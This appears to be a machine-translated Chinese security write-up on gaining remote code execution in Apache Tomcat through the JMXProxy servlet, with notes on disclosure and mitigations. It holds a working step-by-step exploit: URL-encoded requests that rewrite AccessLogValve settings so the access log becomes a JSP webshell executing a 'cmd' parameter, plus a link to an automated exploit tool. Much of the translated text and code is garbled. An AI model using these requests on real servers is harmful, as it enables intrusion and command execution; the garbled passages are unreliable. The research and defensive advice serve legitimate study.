|
Tomcat的一种利用方式
0x00 前言在介绍该利用方式之前有必要先进行一些说明
(1)不影响默认配置的Tomcat
(2)不影响通过jar部署的SpringBoot
(3)作为利用链中的一环,可以利用平台未授权访问或弱授权直接利用
我该利用方式的第一时间Tomcat报告并使用上千字来描述发现利用方式和危害性
然而Tomcat官方认为这不是安全漏洞,如果能够利用,完全应该由用户来负责
大致来看,利用手段如下图:
编辑
0x01 经理Tomcat一直存在一个“漏洞”的漏洞:导致不是Tomcat Manager上传war解压生成webshell的RCE
在tomcat/conf/tomcat-users.xml配置中
<用户用户 名= “管理员” 密码= “<必须更改>” 角色= “经理-gui” />访问/manager/html输入用户名和密码,自动在里面上传war进行部署
编辑
显然这不归Tomcat负责,应该由用户保证自己的账号和密码安全
TomcatManager为的管理采用了作者名作HTTP Basic认证,也就是用户名作认证后的Base64保护。
编辑
如果想要强行破解这个认证其实是有可能的,因为Tomcat已经考虑到这个问题:参考LockOutRealm类的代码,默认在输入错误5次后会锁定5分钟。这Tomcat也是官方拒绝该漏洞的原因之一,他们认为基于JMXProxy实现的RCE攻击和类似的,由用户负责安全
public class LockOutRealm extends CombinedRealm { /** * 用户连续认证失败的次数 * 被锁定。默认为 5。 */ protected int failureCount = 5 ; /** * 身份验证失败次数 过多后用户被锁定的时间(以秒为单位) 。默认为 300(5 分钟)。 */ 受保护的 int lockOutTime = 300 ; }真正值得一提的是:并Tomcat支持管理页面,同时支持API和家具JMXProxy
如果API可能无法访问导致P严重的安全问题(和牛聊天提到点,在某次CTF中出现)
使用API的方式是:http://{host}:{port}/manager/text/{command}?{parameters}
部署使用API包WAR:
http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo如何使用JMXProxy是RCE本文的重点内容
一般安全研究人员并不会JMXProxy仅用于发现什么安全问题,因为官方描述中该功能监控
0x02 JMXJMX与Tomcat特殊情况,在Java官方文档中JMX适用于:
JMX( Java Management Extensions)是一个为任何应用程序用户管理功能的框架。JMX是标准的代理和服务,实际上,可以在Java应用程序中使用代理和服务实现管理
用话:JMX让程序的,那么例如某Web网站是在24小时内有功能进行管理的,并且是对网站进行管理的;或者在业务高峰的过程中,想对网站进行管理,就可以了必须修改接口的配置值
一般JMX会通过Adapter实现Web管理页面,例如Zabbix和Nagios其他工具JVM的监控实现,老一些的平台JDMK和MX4J等
┌──────────┐ ┌──────────┐ │jconsole │ │ 网页 │ └──────────┘ └──────────┘ │ │┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─ JVM ▼ ▼ ││ ┌─────────┐ ┌──────────┐ ┌─┤连接器├──┤适配器├─┐ ││ │ └─────────┘ └──────────┘ │ │ MBeanServer │ ││ │ ┌──────┐┌──────┐┌──────┐ │ └─┤MBean1├┤MBean2├┤MBean3├─┘ ││ └──────┘└──────┘└──────┘ ── ── ── ── ── ── ── ── ── ── ── ─ ── ┘实例结合,我开始了一个监测MX4J平台
编辑
进入其中的ClassLoading属性观察:监控到类的属性,并且修改部分值可以在运行时进行
编辑
在网上进行搜索可以发现类似的JMX管理页面,我们可以实时修改大量JVM内部的一些属性
但这种修改的情况下,大多数情况下是无意义的,顶多由于某些属性通过空指针导致没有服务这样的鸡肋
因此,研究的JMX变化RCE是通过比较研究来比较研究的
0x03 JMX代理是本文的重点,在Tomcat Manager中还有一种特殊的礼仪管理:JMX Proxy Servlet
参考Tomcat 9.0官方文档中的描述,翻译后为:
JMX Proxy Servlet是一个量级级别,用于和设置Tomcat内部或任何MBean公开的。它的不是非常友好,但已经可以通过使用监控类访问界面以监视和更改Tomcat的内部使用非常有帮助。做两件事:信息和设置信息。要真正了解 JMX Proxy Servlet,你应该对 JMX 有一个了解这个大致了解的词。如果你不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么confused解释用迷惑了)
理解用户JMX的描述能力,用户可能不说可能的问题,应该是通过对概念Tomcat给出JMX的,而一般不是直接手动提供的管理,而是会选择或者通过平台进行管理,正则是这个原因导致该漏洞有实际的危害AgentAPI
参考示例,例如我们需要运行时的大量内存使用监控情况
http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage执行后得到的结果
好的 - 属性获取 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport// ......内容={提交=308281344,初始化=534773760,最大值=7602176000,使用=106332232})可以监控JVM属性也可以修改JVM中的一些属性,例如JMX情节篇中提到的一个场景:
在业务高峰的时候,想对接口进行限流,就必须去修改期间的配置值。
在JMXProxy中也提供了修改一些变量的方法
http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
参数:
- set: 目标的BEANNAME(类似的类名)
- att:目标的属性(类似类中的字段属性)
- val: 需要修改的新值
另外支持命令函数,不过这一点我并没有做深入研究(可能某些特殊命令组合存在漏洞?)
http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数总结:
JMXProxy提供Tomcat的JMX接口给平台分析和管理
监控和Tomcat支持内部部分变量的修改用于
0x04 RCE本节内容是针对Tomcat的JMXProxy如何实现RCE
换句话来说:哪些JMXProxy支持修改的属性被修改后可以修改RCE
肉眼审计,我发现了一个有趣的类(Spring RCE有似有似无的师傅应该第一眼看到出来)
访问日志阀
描述JXMProxy信息如下,重点关注属性:
- 前缀:访问日志
- 模式:访问日志格式
- 后缀:访问日志后缀
- 目录:访问日志目录
- 文件日期格式:访问日志名日期格式
名称:Catalina:type=Valve,host=localhost,name=AccessLogValvemodelerType:org.apache.tomcat.util.modeler.BaseModelMBean可旋转:真检查存在:假前缀:localhost_access_log模式:%h %l %u %t "%r" %s %b类名:org.apache.catalina.valves.AccessLogValve语言环境:zh_CN后缀:.txt目录:日志启用:真状态名称:已开始缓冲:真异步支持:真重命名旋转:假文件日期格式:.yyyy-MM-dd假设几个属性可以被设置,那么下面的RCE路线就很简单了
我测试了每一个属性,发现都可以成功修改
RCE的思路如下:
- 修改日志格式为:每一条新日志都变成了一句话
- 注意不能包含特殊符号,所以使用%{header}i从请求头中提取<%等特殊符号
- 修改日志后缀为:JSP
- 修改备注为:shell(只要可以独立在意具体是什么)
- 修改日志目录为可以解析JSP的目录:例如默认的webapps/ROOT
- 修改日志文件名时间格式的目的是使rotate创建新文件,写入JSP马
- 彩虹特殊请求头的请求能够写入Webshell
前期:
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d% 65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65% 73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20% 25%7b%73%7d%69 HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)这里有一个细节:要求其中的val参数为所有的URL编码
%{ p } i 运行时。获取运行时间()。exec ( request.getParameter ( " cmd " )); % { }我 剧情和结局的特殊符号从请求头的p和s中获取
第二步:
修改日志后缀为:JSP
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)第三步:
修改时间日志格式为:shell(当空时文件名就是shell.jsp了)
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)第四步:
修改日志存储目录到可解析JSP的目录:webapps/ROOT
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)第五步:
修改日志文件名 日期格式的目的是:触发AccessLogValve的rotate功能
在log日志记录信息的第一行调用rotate方法
公共 无效 日志(CharArrayWriter 消息) { 旋转(); // ... }跟入rotate方法
public void rotate () { // ... String tsDate ; // 检查日期的变化 tsDate = fileDateFormatter . 格式(新 日期(系统时间)); // 如果日期改变了,切换日志文件 if (! dateStamp .equals ( tsDate ) ) { close ( true ) ; dateStamp = tsDate ; 打开();} // ... } 跟入open方法如果新的fileDateFormatter不同则FileOutputStream写入新文件
protected synchronized void open () { // 打开当前日志文件 // 如果没有旋转 - 文件名中不需要 dateStamp 文件 pathname = getLogFile ( rotatable && ! renameOnRotate ); // ... writer = new PrintWriter ( new BufferedWriter ( new OutputStreamWriter ( new FileOutputStream ( pathname , true ), charset ), 128000 ), false ); // ... }新日志文件名来自于prefix和sufix的外表
private File getLogFile ( boolean useDateStamp ) { // ... File dir = getDirectoryFile (); // ... pathname = new File ( dir .getAbsoluteFile (), prefix + suffix ) ; // ...返回路径名; } 发送请求Payload
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)第六步:
发送短信p和s请求头的请求,成功写入语句
GET / HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭p : <% s : %>//RCE:
GET /shell.jsp?cmd=calc.exe HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭我将发包以上的过程自动化,成功利用
编辑
0x05 实战虽然说RCE成功但是:需要有基础认证才能触发漏洞
目前看来这只是一种鸡肋的幕后RCE手段,有必要研究一下实际的利用
- 直接的联想是:Manager弱弱的女生,这个没有讨论的必要性
- 是否可以不认证就利用(利用平台)
编辑
值得说明的一点是:黑盒情况下不能确定其他平台监控管理是否基于JMXProxy
- 某平台JMXProxy提供的类似假设API是基于一个假设
- 假设某个平台并不但是基于JMXProxy可以修改AccessLogValve属性同样可以RCE
因此,只要参考平台是否基于JMXProxy目标,就可以实现数据智能(监控RCE上图)实现
通过一些方法我找到了最新的平台,上述利用方式可以成功管理利用
再看看其他的,着着基于Java的Web服务,9%的人在Tomcat出现下面9个不开多写了
另外在的文件中写明Apache Tomcat:只有受到保护而不受保护manager-guiCSRFJMX
HTML 界面受到 CSRF(跨站请求伪造)攻击的保护但是无法保护文本和 JMX 接口。因此,很容易因为相反更容易CSRF被CSRF+XSS利用JMXGET
存在漏洞XSS的情况下,容易利用
0x07 修复我向Tomcat官方建议的修复方案是:
- 在文档中明确说明:JMXProxy存在RCE的安全风险
- AccessLogValve属性的修改或者设置为对世界的毁灭
- 业务需要不能限制功能的话,绝对不能限制suffix为.jsp等可被解析执行的后缀
他们Tomcat官方并没有采纳,他们不认为这是漏洞
对于实际的项目而言,修复方案如下:
- 如果开启manager-jmx功能设置强密码
- 如果使用了访问MX4J等平台对JMX未进行管理,检查是否可以授权
- 如果写自己基于Tomcat的JMX管理功能,应该对AccessLogValve属性进行限制
0x08 总结我写了一个自动利用的工具:https://github.com/4ra1n/tomcat-jmxproxy-rce-exp
在tomcat/conf/tomcat-users.xml配置中
<用户用户 名= “admin” 密码= “123456” 角色= “manager-jmx” />修改config.ini利用文件,然后随时可以复现
#目标ip主机= 127.0.0.1 #目标端口port = 8080 #目标tomcat jmxproxy用户名username = admin #目标tomcat jmxproxy密码密码= 123456 #执行命令cmd = calc.exe执行EXP程序:./tomcat-jmxproxy-rce-exp
正如所说,虽然官方不承认,但我认为该漏洞有一些更大的Tomcat危害TomcatRCE CVE
官方否定漏洞的原因是:
- 用户必须开启manager功能,默认Tomcat中为关闭的
- 用户必须暴漏manager/jmxproxy到公网
- 用户必须使用了弱日
- 如果是非弱弱的情况下Tomcat已经LockOutRealm可以防御
事实上,他们没有考虑到平台的Tomcat原因,但他们没有考虑到平台的影响和后果
比如今天的Tomcat Session RCE条件同样高,甚至需要根据文件上传漏洞,实战价值未必大
个人JMXProxy漏洞虽然有限制条件,但在整个漏洞利用该限制条件时可以被视为链中的
后来我过官方:
Tomcat Session RCE在实战中遭遇,或者是极端小英雄,但是你们认可
通过JMX平台未授权造成RCE的案例有很多
从实际危害来看,显然我报告的漏洞存在的认可和风险,为什么不有害
官方回复很简单:不管有多大的错误,你说的都是用户的错误,不是Tomcat的
从另一个角度来看,利用方式可以从理解为未授权访问或越权访问
- 使用manager-gui是最高权限,可以直接启动停止和部署战包
- 使用manager-jmx监控和权限较低,实际上只能修改部分变量
如果一个用户可以通过一些方法manager-jmx(例如RCE)达到manager-gui能够做的事情,这是否可以认为是一种漏洞?
如果我最初提交Tomcat的报告这样来写,会不会得到认可?
|
|